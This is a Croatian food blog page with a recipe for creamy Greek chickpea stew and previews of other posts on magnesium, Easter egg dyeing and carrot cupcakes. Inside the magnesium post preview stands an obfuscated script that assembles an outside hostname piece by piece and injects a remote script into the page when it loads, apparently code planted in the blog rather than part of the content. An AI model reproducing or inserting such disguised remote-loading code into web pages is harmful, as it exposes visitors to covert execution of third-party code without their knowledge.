KREMASTO GRČKO VARIVO OD SLANUTKA





Kremasto grčko varivo od slanutka 




Ovo rustikalno mediteransko varivo pokazuje kako nekoliko osnovnih sastojaka može stvoriti duboki bogat okus. U ovoj verziji recepta dolazi gusto i izmiksano, ali sretat ćete različite izvedbe – rijetke poput juhe i one koje se ne blendaju...





Kremasto grčko varivo od slanutka 


Sastojci:

  • 1 manji žuti luk, narezan na tanke ploške
  • 340 g mrkve, grubo narezane
  • 2 režnja češnjaka, nasjeckana
  • 4 žlice ekstra djevičanskog maslinovog ulja
  • 2 čajne žličice soli
  • 480 g ocijeđenog slanutka iz konzerve
  • 45 g miso paste
  • 240 ml tople vode
  • 2 čajne žličice suhog origana (po želji)
  • 1 žlica svježeg kopra, sitno nasjeckanog (po želji)
  • kriške limuna, maslinovo ulje, grčki jogurt (za posluživanje, po želji)




Priprema:

  1. U većem loncu zagrijte 3 žlice maslinovog ulja na srednje jakoj vatri. Dodajte luk i 1 čajnu žličicu soli pa pirjajte oko 7 minuta dok luk ne omekša i postane staklast.
  2. Dodajte mrkvu, češnjak, origano ako ga koristite i preostalu 1 žlicu maslinovog ulja. Pirjajte još oko 2 minute dok povrće ne zamiriše.
  3. Dodajte slanutak, miso pastu razmućenu u toploj vodi i ostatak soli. Ulijte još toliko vode da svi sastojci budu prekriveni otprilike 2 do 3 cm. Smanjite vatru na srednje laganu i kuhajte djelomično poklopljeno oko 30 minuta, dok mrkva potpuno ne omekša, a okusi se povežu. Po potrebi dodatno posolite.
  4. Kada je varivo kuhano, kutlačom izvadite otprilike polovicu sadržaja lonca i prebacite u blender. Miksajte dok ne dobijete glatku i kremastu smjesu pa vratite natrag u lonac. Kuhajte još 20 do 30 minuta na laganoj vatri bez poklopca, uz povremeno miješanje, dok se varivo ne zgusne i dobije bogatu, kremastu teksturu.
  5. Revithiju poslužite toplu uz obilno maslinovo ulje i kriške limuna. Po želji dodajte žlicu grčkog jogurta i malo svježeg kopra.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više